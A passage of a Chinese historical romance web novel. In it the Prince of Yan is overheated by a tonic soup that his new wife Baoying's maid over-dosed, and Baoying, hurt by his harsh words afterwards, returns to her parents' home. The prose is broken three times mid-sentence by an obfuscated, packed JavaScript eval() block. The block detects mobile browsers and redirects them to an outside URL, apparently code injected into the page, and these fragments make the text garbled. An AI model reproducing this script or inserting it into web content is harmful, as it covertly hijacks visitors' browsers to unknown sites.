到底是个孩子,什么心事都写在脸上。孙姑姑有些好笑,道:“王妃若不放心,奴婢现在给您开了库房,挑了人参包起来送过去。” 宝楹随着孙姑姑重新进了库房,这回她东张西望,一眼瞧见旁边的橱架上错落地摆着许多珍奇异石。 宝楹禁不住眼前一亮。 她爹生平三大爱好——喝酒、下棋、看文玩。 为什么是看,因为施大路舍不得花那个银子。这些怪形怪状的石头,动辄数十两银子,不是一般人碰得起的。所以小时候出街,施大路总是牵着她到文玩铺子里看看摸摸,只是从不买。他的银子要留着给妻女花。 宝楹咽了咽口水:“姑姑,这些石头,也会送人吗?” 孙姑姑道:“这些就是别人送上来的。若是今后有什么应酬,哪位大人喜欢收藏石头,便从库房里拿一件送出去。物件么,就是这样送来送去的。” 宝楹从里面品出了点门道。 人参是消耗品,石头不是,它有收藏的价值。所以,她要想弄两件给她爹玩玩,还是得问问这些石头的主人啊。 宝楹去而复返。 宗铎这回连头都没抬:“又有什么事?” 宝楹期期艾艾:“我看库房里有好些石头……我爹爹也很喜欢,但是他没钱买,可以送两件给他么?” 宗铎按了按太阳穴:“不是说了这种事不用来问我吗?你自己做主就是。” 宝楹听出他语气里的一点不耐,不服气地解释道:“你只说了药材,又没说石头。我看那些石头更贵重些,万一你舍不得呢?” 宗铎觉得跟她说话有些对牛弹琴。 他身边都是聪明人,一个眼神过去就知道要干什么,从没见过把话说到这份上还听不懂的人。 他耐下性子把话揉碎了喂给她:“你是这府里的女主人,库房里的东西,跟孙姑姑打过招呼,随意取用就是。还有,没事少来前院,我的幕僚来来往往,仔细冲撞了你。” 宝楹听他这么关心她,心里泛出丝丝甜蜜来。 她没当过主人,在家里时,事无巨细都要讨爹娘的主意。女主人这个词对她而言太新鲜了,她总得慢慢适应嘛。 至于冲撞,她根本就不怕。施大路经常带同僚到家里喝酒,那些叔叔伯伯她都认识,她没觉得有什么冲撞的。 宝楹自动略过了他的后半段话,高高兴兴地出了韫晖堂。 她一走,从屏风后面转出个人来,带着几分揶揄笑道:“嫂子真是个妙人。” 宗铎对此不置一词,淡声道:“方才说到哪里了?” 原来这人不是别人,正是宗铎的表弟、徐阁老的嫡孙徐沛。他自幼作宗铎的伴读,如今在翰林院出任检讨,是宗铎有力的左膀右臂。 说到正事,徐沛也收起了玩笑,正色道:“高延那边的消息,巡盐御史的任命,皇上已经有了章程。” 高延是司礼监掌印,皇帝的机要秘书。他的消息不好得,一旦得了,却是八九不离十。 “如何?”宗铎立刻问。 四下无人,徐沛仍是压低了声音:“听说皇上准备拿这件差事当龙舟赛的彩头。等到月末,就该放出风来了。” 宗铎敛眉不语。 这做法听起来有些荒唐,可又切切实实是皇帝的作风。 皇帝年过四十,玩心依旧很重。他曾经因一个商人蹴鞠踢得好,要破格封其为蹴鞠侯,引得百官罢朝方作罢。与之相比,拿巡盐御史作比赛的彩头倒是不足为奇了。 巡盐御史是钦差,两年一任,代天子到南边巡课盐税。虽是替朝廷监察,走这一趟,也少不得赚个盆满钵满。 银子,就是实力。这钦差一职,宗铎是志在必得。 他吩咐徐沛:“把穆先生他们请过来,好好商议一下端午的事。” 宝楹哼着小曲回了昭明殿,想这一日收获颇丰,爹娘看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149189|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她送回家的礼物,不知该有多高兴呢。 这时小帘也从外头买了药材回来。 宝楹细细清点一番,拿上孙姑姑给她的那一大包鹿茸山参,领着小帘往厨房走去。 厨房的管事人唤周嫂子,见了王妃驾临,忙请她到耳房里坐着,又是打扇又是递茶:“王妃要吃什么,打发人来要便是了,怎好劳您亲自驾临?” 周嫂子年纪跟她娘差不多,此刻对着她点头哈腰,宝楹觉得有些消受不起。 她摆摆手道:“嫂子不必多礼。我过来煨点汤羹给殿下吃,不知厨房有没有空余的灶头?” 周嫂子忙堆起笑来:“有的有的。东厢有间小厨房,专管做王爷的宵夜的。王妃到那头去,奴婢再派两个厨娘给您打下手。” 说着努努嘴,早有人会意去把东厢的小厨房擦洗了一遍。宝楹走进去,只觉得窗明几净,灶台上连一丝灰也没有。 她问周嫂子要齐了食谱上的食材,取一只紫砂锅,先把剔净了骨头的乌鸡放进去,加山泉水没过鸡肉,放了当归、黄芪、人参等药材进去,吊在火上慢慢地熬。 又取来一只银铫子,用碧粳米加鹿茸参片熬成稠状,另舀一盅鸡汤,放三两鸽蛋进去慢慢地煨着。 这两道膳食都要小火慢炖,方可将药性融进汤汁里去。 宝楹本是怀着一片诚心替她的夫婿熬药膳的,谁知在炉子边坐了半刻钟,身上便渐渐发起汗来。 她耐不住热,便喊来小帘:“你替我看着火候,等米粒都熬开了花,再去把我叫过来。” 小帘连连点头。 小姐一走,她恪尽职守地守在炉边扇火。 一抬头,发现案台上的纸包里还有大半鹿茸和参片,从外面买回来的药材却已悉数进了砂锅和铫子里。 小帘深谙自家姑娘马虎的个性,只当她是忘了加这两味药材,便一股脑将剩下的鹿茸参片全倒了进去。 待粥里的米熬开了花,小帘忙去把宝楹喊了过来。 宝楹拿勺子搅了搅,鸽蛋羹的清香扑鼻而来。这时乌鸡汤也好了,汤水浓香扑鼻,鸡肉软烂脱骨,宝楹尝了一口,味道鲜美极了。 她满意地将乌鸡汤和鸽蛋羹倒进瓷盅,又把瓷盅装进一只珐琅食盒里。转头一看,不由“咦”了一声:“我放在台面上的鹿茸和人参呢?” 小帘得意地邀功:“我看姑娘忘了加,全给倒汤里啦。” “你这个笨丫头!”宝楹急道,“食谱上说鹿茸性热,下两钱就够了。你全倒进去了,那我下次岂不是还得去找孙姑姑要?” 小帘这才知道自己好心办了坏事,小声嗫嚅道:“那怎么办?” 宝楹叹口气道:“事已至此,就这样吧。” 小帘难得灵光了一回:“可是这药材放多了,姑爷吃了不会有什么影响吧?” 宝楹想了想道:“有句古话说得好:多多益善。这是补药又不是毒药,应该没什么大碍。” 小帘深以为然地点头。 宝楹提了食盒出门时,天都黑了,廊下亮起几盏黄澄澄的灯笼。照着足下的白石板,泛起莹莹辉光。 转过拐角,正撞见一个内侍提着食盒从大厨房那头走出来。看到宝楹,他忙停下来请安。 宝楹瞧了瞧他手上的食盒,道:“你这么晚还没用饭么?” 那内侍忙道:“回王妃话,殿下召了几位大人在韫晖堂议事,这会儿还没用上饭呢!这些是备给他们吃的。” 宝楹一听他是准备去韫晖堂的,便把手中食盒也递过去:“那真是巧了,我这就是准备给殿下吃的。你帮我送过去吧!” 她殷切嘱咐那名内侍,务必将她的食盒精准地送到宗铎的桌上,可别让其他人误食了。 8. 今天火气很大 韫晖堂此刻亮着灯火,宗铎正与众幕僚在里头议事。 自他十五岁参政以来,身边聚集了一大批幕僚门客,多是他在龙禁卫的亲信、徐家的心腹门生和这些年招揽的能人异士。 而能进入韫晖堂议事厅的,则是他身边的核心亲信。往常也常有议事入夜的情况,每每这时,王府的内侍会送膳入内。 今日亦不例外,内侍提着大食盒进来,先摆了两个瓷盅到宗铎面前。本想告诉他这是王妃亲自熬的汤羹,奈何见里头气氛肃穆,那内侍不敢多言,匆匆摆了饭便退下了。 宗铎揭开瓷盅一看,里面的鸡汤热腾腾地冒着香气。 他几不可察地皱了下眉,往常为了方便谈事,厨下送来的膳食都是简便易食的白肉胡饼,他也从不搞例外,幕僚们吃什么他就吃什么。 不过这点小事也不值得放在心上,宗铎一面看文牍,一面飞快地将盅里的羹汤吃光了。 内侍进来收拾碗碟,众人依次取茶漱口,仍旧谈起巡盐御史的事。 皇上抛出了巡盐御史来当彩头,那么端午的龙舟赛便很有看头了。 每年端午,京城各司衙门都会派遣精英出赛,像六部五寺、都察院、翰林院那些文官衙门不足为虑,他们主要的对手是锦衣府、兵马司、都督府、神机营。 偏不巧,锦衣府指挥使是二皇子宗钺的人,而五皇子宗铆统领神机营。 宗钺阴险,宗铆狠辣,这两个人都不得不防。 “留芳,你帮萧长史一起留意锦衣府和神机营的动向。子箴,你正常带队操练。小江,队伍的一应饮食由你照看。” 留芳是徐沛的表字。 子箴是平安侯世子韩曜的表字,他在龙禁卫当左都尉,是宗铎最有力的副手。 小江是太医院院判的儿子,从小跟宗铎认识。 这几个人也是宗铎最信得过的朋友。这几年他麾下的人手越发壮大,可是最重要的事情,依旧是吩咐他们来办。 众人皆起身领了差事。 时辰不早,众人各自回府安歇。 今夜乌云罩月,明日恐怕要下雨,空气里氤氲着沉闷的暑意。 宗铎照常去演武场练了会儿剑,须臾便出了一身汗。 他收剑入鞘,命人备了水,移步到浴房里更衣沐浴。 跨入浴桶,宗铎闭目沉思,细细思索端午龙舟赛的纰漏之处。 为争龙舟赛的头名,宗钺等人必会有所行动。与他那几位兄弟过招这么多年,宗铎很了解他们的秉性。 譬如四弟宗铠,他与宗钺一母同胞,向来是宗钺的马前卒,此人便不得不防。 长兄宗钿,虽然他在朝中建树不显,但宗铎知道他是在韬光养晦。有了巡盐御史这根胡萝卜在前面吊着,难保宗钿不会尽力一搏。 宗铎正沉思着,忽然感觉到一丝不对劲。 水是冷水,他却越洗越热。 这热不是空气里的暑意,却是自内而外的躁动。 宗铎微微皱眉,垂眸瞧见那昂然抵着肚腹的红润端头。 他向来禁欲克制,连自渎都很少。每每起势,也不过调息一番即可令它消停。 可是这一次,它挣扎着向上顶,乞求得到一番抚慰,体内的热血滚得快要沸了一般,宗铎连掐了几回静心诀都不管用。 他的呼吸沉重了些,手覆上端头重重捋了几下,眼神却蓦地清明起来。 这不正常。 “元仪。”他沉声吩咐外面的人,“送两桶冰水进来。另外,让今晚送膳之人即刻过来!” 外头应了一声,不多时有人送冰进来,悉数倒进浴桶里。刺骨的寒气镇住了腹中邪火,那喧嚣的巨物终于勉强消停下去。 宗铎起身披了件广袖道袍,头发湿淋淋地搭在身后,为脸上锋锐的五官添了几分柔和,一双清目却像淬了寒冰,冷得叫人害怕。 那送膳的内侍瑟瑟发抖地跪在地上:“殿、殿下有何吩咐?” “我问你。”他的声音也冷得像浸过雪水,“今日的晚膳是谁让你送来的?” “晚膳?”那内侍愣了一瞬,连忙道,“是王妃!那、那是王妃特意为殿下做的羹汤,从酉时一直忙碌到戌时,奴才都看在眼里呢!” 说罢,偷偷抬头觑了宗铎一眼。 只见殿下长眉拧起,薄唇抿成一条直线,脸色比外面的夜幕还黑,吓得他又赶紧低下了头。 好半晌,方听到上头冷冷砸下几句话:“以后你不用在厨房伺候了。既然连规矩都不懂,那就去看大门吧。滚!” 那内侍如遭雷击,他好歹也是时时能在主子面前露脸的宫人,一下子被贬去看大门,岂不是要从最低等的火者做起! 可是如今主子的雷霆之怒隐而未发,他哪里还敢为自己喊冤,赶紧手脚并用地退下了。 宗铎看着那连滚带爬的背影冷笑了一声。 她好大的胆子。 宝楹一夜好眠。 后半夜下了一场暴雨,早晨醒来的时候,小帘把南向的窗户打开一条缝隙,水汽挟裹着凉意洒进来,驱散了夏日的闷热。 宝楹玩心大起,让院里的小丫鬟们把水沟堵了,排不出去的雨水将院子淹成一方小池塘,大伙就能聚在院里玩水作乐了。 这是她未出阁时经常跟小帘玩的游戏,夏日炎炎,玩水就是最好的消暑活动。 小丫鬟们一开始还束手束脚,可是看宝楹跟小帘两人玩得兴起,半点架子也没有,也纷纷加入了戏水的行列。 白露等四个大宫女自恃身份,自然不肯跟她们一道胡闹。 坐在屋里往窗外看,丫鬟们清脆的嬉笑传过来,钻到她们耳朵里便成了刺耳的噪音。 青霜撇了撇嘴:“王妃也太没规矩了,这里是王府,可不是她们施家那个小院儿!” 红霞推了推白露:“你好歹是主事宫女,该去劝劝王妃。” 白露斜睨她一眼,哼了声道:“王妃听不懂好赖话的,说得轻了,只当咱们在跟她玩笑;说得重了,就啪嗒啪嗒掉眼泪,倒成了咱们奴大欺主。要劝你去劝,我犯不上去讨那个嫌!” 贤妃拨她们过来,就是为了镇住燕王妃。 若是寻常官宦人家的小姐,看在贤妃的面子上,也得对她们礼遇有加。偏这位王妃根本分不清状况,虽说不曾使唤她们,可也半点不敬着她们。 白露是聪明人,自然不肯去当这个出头鸟。 等下次进宫见到贤妃娘娘,再狠狠告上王妃一状,让贤妃来好好敲打她。 宝楹坐在廊下,穿着一双木屐,晃荡着脚丫踩在水面上。一个不留神,脚下的木屐一松,如同小舟般在水面上漂开了。 “小帘!”她忙喊道,“快帮我把鞋子推回来。” 丫鬟们嘻声笑语,忙拿了竹竿来推漂到院子中间的木屐。 忽然,众人的笑声俱停,只剩雨声飘然,愈发显出诡异的安静。 宝楹见众人都望着院门不做声,扭头望去,见一位稀客正站在门口,身姿端秀,神色冷肃,正漠然地看着院中景象。 可不正是她那位几乎从不踏足昭明殿的夫婿。 宝楹怔了一瞬,后知后觉地把脚丫子藏进裙摆底下。 宗铎冷冷扫了院中众人一眼,迈步往正殿走。 “王妃进来。” 短短的四个字,莫名令宝楹嗅出危险的气息。小时候每每犯错,爹爹也会沉着脸朝她招手:宝儿过来。 虽然不知道哪里得罪了他,可看他那脸色,颇有些来者不善的意思。 宝楹本能地趋利避害,不大情愿地穿好小帘递来的木屐,磨磨蹭蹭地往殿内走。 木屐面沾了水,她走得又不留神,跨进房门的时候,竟被门槛一绊,整个人骤然向前扑倒。 宗铎已经在罗汉床上坐下,自顾斟了杯茶喝。忽然听得“咚”一声闷响,抬眸一看,只见她整个人像只乌龟一样趴在地上,摔了个大跟头。 简直没眼看。 宝楹摔得眼冒金星,狼狈地抬起头,却见宗铎正冷冷地看着她,并没有过来搀扶的意思,只好讪讪爬了起来,一步三顿地挪到他面前。 “殿下,”她小心翼翼地打量他的脸色,“谁给你气受啦?” 宗铎不语,只是面沉如水地看着她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149190|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宝楹被他的目光盯得发毛,小性子也上来了:“不说话,那我出去了!” 刚一转身,又被他的话钉在原地。 “回来!”宗铎冷喝一声,终于开口问罪,“昨夜你给我吃的什么东西?” 宝楹挠挠头才想起来,昨天王府送了顶好的山参和文玩石头去她家,为了报答他的慷慨,她亲自下厨熬了温肾补阳的羹汤给他吃——当然,就算他没给她家送礼,她也会熬给他吃的。 “当归乌鸡汤和参茸鸽蛋羹啊,味道还不错吧?”她不无自得地邀功,“殿下喜欢的话我天天熬给你吃。” 宗铎的太阳穴不受控制地跳了跳。这些都是什么乱七八糟的东西?难怪他那邪火烧了一晚上,今天都没降下来! “施宝楹!”他遽然站起身来,垂下眼眸冷睨着她,“谁让你给我吃这些东西的?我警告你,别自作聪明!” 宝楹呆住了。 她长这么大,从来没有人这样直呼过她的大名,更没有人这般对她说重话,而这个人竟然还是她的夫君! 她气得直跺脚:“谁自作聪明了?我嫁过来这么多天,天天都是独守空房,你要是行,我至于大夏天的守在炉子前熬药膳给你吃吗?” 宗铎自认喜怒不形于色的功夫修炼到家,闻言仍禁不住被气得笑出声来。 她竟然以为他不行,给他吃壮阳的东西! “你想跟我同房?” 他微微挑高了浓眉。 宝楹一愣,下意识点了点头。夫妻同房,不是天经地义吗? “很可惜,我对急于献身的女人没有半点兴趣。” 宗铎神色冷峻,琥珀色的眸子漠然睥睨着她,“管好你自己,别再插手我的事。否则,别怪我不客气!” 宝楹瞪大眼睛,费劲地理解他的话。 什么叫急于献身的女人?不是他求着娶她的么?什么叫没有兴趣?不是他自己不行吗?至于为了挽尊说这些伤人的话么! 她气得话都说不出来,只能忿忿地瞪着他扬长而去的背影。 外头的丫鬟们噤若寒蝉,目送着宗铎走出院门。 方才正殿里的争吵她们没听清,可是看殿下那冷沉的脸色,想来两人是闹了不小的别扭。 丫鬟们不敢进去劝慰王妃,只有小帘紧张自家姑娘,急匆匆地走到门口,却被白露等四个大宫女挤了出去。 白露等人一窝蜂拥进屋里,看到宝楹还立在原地,七嘴八舌地问道: “王妃,你怎么惹到殿下了?” “殿下从前在宫里时,脾气是出了名的好,从不跟人红脸。肯定是王妃太过火了。” “我说王妃,你可长点心吧。要不是殿下,你以为你能在这里?” …… 宝楹捂住耳朵大喊:“小帘!” 小帘忙钻进来,一屁股将白露等人挤开:“姑娘,我在呢!” “收拾东西,我们回家去!”她气得声音都颤抖了。 “是!” 小帘向来以宝楹马首是瞻,立刻走进内室收拾包袱。 白露等人也不拦着,心照不宣地互相递了个眼神,抱着胳膊站在旁边看热闹。 拿回娘家威胁谁呢,敢跟燕王殿下唱反调,还真把自己当回事了。 外头的雨潺潺下大了,小帘打了一把青竹伞,宝楹抱着包袱,主仆二人一路往马厩走。 等车夫套马车时,孙姑姑得了消息赶过来,连声劝慰道:“王妃别闹脾气,快回屋里去,仔细淋了雨头疼。” 宝楹别过脸去不理她。 孙姑姑还欲再劝,雨幕中徐徐走来一个年轻的紫衣内侍。 “元仪。”孙姑姑喜道,“是不是殿下让你来的?快来劝劝王妃。” 元仪上前朝宝楹见了礼,却将孙姑姑拉到一边,附耳低声道:“殿下说了,不必理会王妃。等她知错了,自然就不闹了。” 小帘耳朵极尖,隔着淅沥雨声把元仪的话全听了去,一字不落地复述给了宝楹。 宝楹恼得直磨牙。 狗咬吕洞宾,不识好人心!这狗屁王妃她还不稀罕当咧! 9. 到底给他吃了什么 回到施家已近午时。 珍娘见到宝楹大吃一惊,忙拉她进了屋,让人绞了热毛巾来,一面亲自给她擦脸,一面不无担心地问道:“回门才过去多少天,怎么又回来了?” “娘!”宝楹扑进珍娘怀里,哭得一把鼻涕一把泪,“这日子我是过不下去了!” 珍娘闻言又惊又急,想起方才进屋时她步伐不太利落,目光便往宝楹腿上移,果然见膝盖处的裙子破了道口子。 屋内没有外人,珍娘便撩起她的裙子,卷起裤管一看,只见双膝处擦破了皮,红血点在莹白的皮肤上分外刺目。 “燕王打你了?”珍娘心都揪起来了。 “没有。”宝楹抹抹眼泪,“不过跟打我也差不多了。” “到底是怎么回事啊?” 珍娘取来药膏纱绢,一面替女儿处理伤处,一面焦急询问。 宝楹事无巨细地将今早的遭遇哭诉一通。 听罢,珍娘不由皱眉道:“这是个什么事,便是他不爱吃那药膳,也犯不上对你说那些话。” “就是啊!”宝楹深以为然,“我没有功劳也没有苦劳,他凭什么讲那么伤人的话。娘,我不想跟他过了,我要回家!” 珍娘无奈笑道:“傻丫头,成亲不是过家家,哪有拌了嘴就不过的。中午娘烧一桌子好菜给宝儿吃,吃完了回去王府,跟燕王低个头认个错,可好?” 宝楹垂着脑袋,话音里透着十分的委屈:“凭什么要我认错,爹和娘吵架,不都是爹先低头么?” 珍娘给她破了皮的膝盖上完药,把裤管放下来,又捉着她的手心看。见没有大碍,方放心地收起药膏,走到面盆架边净手。 “娘知道你委屈,可是燕王身份尊贵,也只能你多多迁就他了。” 宝楹的目光追随着珍娘走来走去的身影,不满地抱怨道:“身份尊贵怎么了,整个府里的仆人都围着他转了,可我又不是他的仆人。” 珍娘没说话。 宝楹又道:“我记得小时候娘跟爹吵架了,娘抱着我去舅舅家住,爹爹上了好几趟门娘才肯跟他回去。” 珍娘笑道:“原来一吵架就回娘家是跟娘学的。” 她擦净了手,重新坐回宝楹身边,语重心长道:“可是你爹到底不比燕王。那会儿我跟你爹吵架,也多是因为你祖母。如今你在王府,皇上和娘娘不与你住一处,这已胜过旁人许多。你更应该谨言慎行,别叫任性妄为的名声传到宫里,娘娘们听了也不喜欢。” 宝楹低着头不说话。 在家里用过午饭,雨下得更大了。 这正遂了她的心,拉着珍娘的袖子撒娇:“娘,你看雨这么大,回不去了。” “你呀你。”珍娘点了点她的鼻尖,到底不忍拂了女儿的意,便道,“回屋睡一会儿中觉吧。雨停了再走。” 宝楹心满意足地回了房,却悄悄跟小帘商量:“我既回得家来,再不往那破王府去了。白露她们老给我脸色瞧,还当我不知道呢。” 眼见四下无人,小帘方敢开口:“姑娘,你说殿下今天这么生气,会不会是咱们把鹿茸参片下多了,给他补过头了?” 宝楹心里也犯嘀咕,不过嘴上是一定不肯承认的:“怎么可能嘛,那些都是好东西。最多、最多就是味道坏点,至于发这么大脾气嘛!” 不过横竖她也不是全然没错,倘若他肯亲自来接她,那她就跟他回去好了。 歇过中觉,窗外的雨声几渐不闻。偶尔有竹叶窸窣的响动,那是风拂过的痕迹,雨已经停了。 宝楹赖在床上不肯起来,生怕珍娘要她回王府去。 好在珍娘一直没过来,她耐不住性子,便派小帘出去打探。 不多时,小帘回来复命:“太太在厨房跟芳嫂杀鸡呢。” 芳嫂是施家帮厨的下人。 宝楹闻言高兴地坐起来。母亲要杀鸡,那今天她肯定不用回去了。 她捉了裙跑到厨房看珍娘忙碌。 芳嫂笑道:“姑娘如今当了王妃,身份贵重不比从前,怎么还跑到厨房这烟熏火燎的地方来。” 宝楹搬了张杌子坐在门口纳凉,闻言撇嘴道:“当王妃没什么好的,还不如在家自在呢。” 芳嫂便笑:“在那边应该天天吃的都是鲍参翅肚吧?” 说到吃的,宝楹来了劲,兴致勃勃道:“那倒没有。不过王府吃的确实很讲究,光是早膳便有七八种花样,粥饼糕面俱全。下午有茶点,晚间有宵夜,厨房灶头的火从来不熄的。” “那你这只小老鼠掉进米缸里了。” 珍娘一边笑言,一边剁了只鸡腿递到她手边。 刚烹熟的鸡腿切着花刀,金灿灿的皮下面是紧实的肉,淋上用热油泼过的葱丝酱油,香味伴着热气直往鼻子里钻。 宝楹爱吃,家里的鸡腿都是她吃的。 不光她家,每次去舅舅家,鸡腿也都是她的囊中之物。如茵要纤细的身材,不肯在吃食上放纵。 宝楹没这种觉悟,她从小就是个珠圆玉润的小姑娘,十二三岁抽条长高了,总算摆脱了卫轩给她起的“小胖妞”的绰号,其实身上的肉也没见少,只是都集中到了几处去。 “娘,卫轩还在京城吗?” 宝楹啃着鸡腿,一张小嘴油光泛亮,忽然没头没脑地问了一句。 “早回蜀中去了。”珍娘揉着面,有一搭没一搭地说着,“你轩哥哥回京就是为参加你的婚礼。大婚没赶上,好歹赶上了回门,在家歇了半日,第二天便启程回蜀中了。你舅母还跟我抱怨呢,难得回来一趟,也不多住些时候……” “喔。”宝楹心里有点说不上来的失落。 她还记得回门那天卫轩跟她说过,要是宗铎对她不好,他会帮她出头的呢。 时近傍晚,施大路从衙门回来,见到宝楹也是吃了一惊。 听说她跟燕王闹别扭了,施大路没说什么,只是细细问她膝盖上的摔伤要不要紧。 其实没什么要紧的,不过宝楹怕爹爹也催她回去,故意做出一副可怜兮兮的样子:“要紧得很!都摔破皮了!” 施大路捋须笑,女儿的秉性他了解,倘若真要紧,只怕这会儿眼泪鼻涕都滚下来了。 一家人用过晚饭,施大路一如往常,开始跟妻女说起他在衙门的新鲜案件。 “我上回办了桩案子,夫妻口角,那妇人气不过,投水死了。” 珍娘一听便把眉心蹙起来,狠狠瞪了施大路几眼。真是哪壶不开提哪壶,明知道女儿刚跟姑爷吵完架,还说这种话来吓唬她。 施大路只作没看到,又继续道:“邻里都说那妇人气性大,一时不忿自尽也是有的。本来准备就此结案,可仵作又说,那妇人是被人推水里害死的。” 宝楹听得入迷,忙道:“仵作伯伯怎么知道?” 施大路道:“那妇人指甲缝里有带青苔的泥,指节又泛着淤青。说明她是有机会爬上岸的,却被人踩着手推回了水里去。” 宝楹“啊”了一声,两道弯月眉揪心地拧起来。 “既然是命案,那就好办了。”施大路搛了一口凉菜下酒,“一查就查出来,正是她那汉子干的。也怪那妇人成日要死要活地挂在嘴边,所以她真死了,大伙都没往她汉子身上想。” 宝楹忿忿道:“爹,你这样说不对!她说过什么、做过什么都不是给坏人开脱的理由!” 施大路呵呵笑道:“理是这个理,不过,正所谓君子不立危墙之下,既然管不了别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149191|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那就只能管好自己了。” 他见宝楹毫无触动,只好把话挑明了些:“爹娘没用,燕王欺负了你,我们也不敢上门问责。谁让他是皇室子弟,谁让一道圣旨把你嫁给了他呢?咱们管不了燕王,也只能管好自己,做到‘心外无物,自向内求’了。” “爹爹又在念经了,听不懂听不懂!” 宝楹气恼地将筷子一撂,提裙跑回了卧房。 珍娘和施大路无奈对视一眼,俱是忧心忡忡地叹了口气。 女儿在施家这方小天地里,也是被他们当成小公主宠大的。 原本想着将来招个赘婿,或者把她嫁回知根知底的卫家,平安顺遂度过一生也便罢了。谁知造化弄人,嫁进了王府,哪还能像在家一样娇纵? 宝楹今后的日子,只怕难着哪。 “快跟去看看,别是又躲到屋里哭鼻子了。”施大路对珍娘道。 珍娘依言去了宝楹屋里,却没听到哭声,反而在窗下听到她和小帘的窃窃私语:“当王爷有什么了不起的,总有一天,我要他围着我打转转!” 小帘咯咯地笑:“还要吐舌头,摇尾巴!” 主仆俩轻快活泼的笑声从窗边传出来。 珍娘哭笑不得,也歇了去劝慰女儿的心思。 此时燕王府内灯火通明,临近端午,宗铎日日召集幕僚议事,以备龙舟赛无虞。 掌灯时分,众人纷纷起身告辞,宗铎却开口道:“小江,你且留下。” 小江年纪与宗铎相仿,他是太医院院判江乘之子,从小在宫廷走动。因与宗铎自幼相识,早早投入了他的麾下。 见宗铎把自己留下来,小江朝他挤挤眼睛:“殿下新婚燕尔,不回去陪你的王妃,怎么寻起我这郎中来?” 宗铎轻咳一声,面上的神色有点不自然,将手腕放于案桌上:“你替我把一把。” 小江搭手探脉,少顷,惊得浓眉挑起:“啧,你这脉象不对劲啊,怎么阳热亢盛至此?敢问殿下,这是练功走火入魔了?” 宗铎头痛地按了按眉心:“不慎吃了些进补之物。以鹿茸山参入膳熬的羹汤,当真有此大补之效?” 小江闻言乐出声来:“这是壮阳的药膳啊!怎么,莫不是殿下床上的表现不尽人意?” 宗铎冷冷看了他一眼。 小江忙收了笑,又沉吟道:“虽然殿下元阳充沛、根基扎实,但即便吃些进补的膳食,也绝不致阳火虚旺至此,恐怕那药膳里还添了些旁的东西。殿下好好想想,除了鹿茸山参,还下了什么?又或者说,剂量下了多少?” 宗铎有些头痛,他怎么知道下了什么?少不得还得回去问她。 “你先去给我开点下火的汤剂。” “是。” 小江见他脸色不大好,也不敢嬉笑打趣,匆匆退了下去拟方抓药。 “元仪!” 宗铎又把他的贴身内官喊了进来。 元仪连忙入内:“殿下有何吩咐?” “传王妃过来。” “回殿下,王妃早上闹着要回娘家,您说了由她去。现如今王妃已不在王府了。” 宗铎默了默。 原以为她只是虚张声势,没想到真跑回去了啊。 “王妃很没有规矩。娘娘给的那四个宫女,都是摆设吗?” 元仪小心翼翼道:“奴才听说,那四个宫女不大把王妃放在眼里,平时王妃胡闹,她们向来都是旁观多、劝诫少。” “呵。”宗铎冷笑一声,“传我的话下去,让她们现在立刻去施家,接不回王妃,她们也不必回来了!” 元仪看了眼外面黑透了的天色,这个点只怕已经宵禁。不过既然是殿下的命令,那她们也只好走一趟了。 10. 你不是男人! 翌日一早,宝楹用过早膳,正跟小帘坐在榻上玩双陆,卫嬷嬷又急匆匆地赶过来:“姑娘,姑娘,快到前头去,王府来人接姑娘回去了。” “谁来了?”宝楹丢下棋子,“殿下来了?” “不是。”卫嬷嬷摇摇头,仔细回忆了一下,“来了四位姑娘,一身的绫罗绸缎,瞧着跟大户人家的小姐似的。” 宝楹有些失望。 不过,白露她们四个登门也是够稀奇的。她们平日话里话外,都是对施家颇看不起的态度,今儿怎么手挽手地上门来了? 她存了看热闹的心,拉着小帘到前厅去。 珍娘正在前头招待白露四人。 “昨儿雨大,留王妃在家住了一日。没想到今天姑娘们亲自上门来了,实在是给你们添麻烦了。” 白露不咸不淡地接话:“既如此,快些叫王妃随我们回去吧,我们也好到殿下跟前复命。” “急什么,既然来了,喝两盏茶再走。” 话音落下,宝楹从门外走进来,有些不高兴地看着白露。她方才可是瞧见了,珍娘递茶,白露接都没接。 宝楹虽不在意这些人对她的冷待——横竖是不相干的人;可是在她的家里拂她娘的面子,宝楹忍不了。 见她进来,白露四人也不起身,口中颇怨责道:“王妃闹了一天脾气,也该回去了。巴巴地跑回娘家来,叫我们底下人也不安生!” 昨儿半夜,她们被赶到施家来,没想到这儿的门房早早关了门睡觉,怎么敲都没人应,不得已在门外守了一夜。偏这种胡同巷子到处是竹丛,夏夜里蚊虫肆虐,叮得四人满头包。 她们在宫里都是养尊处优的大宫女,何尝吃过这种苦头!如今见了害自己受苦的罪魁祸首,四人自是怨声载道。 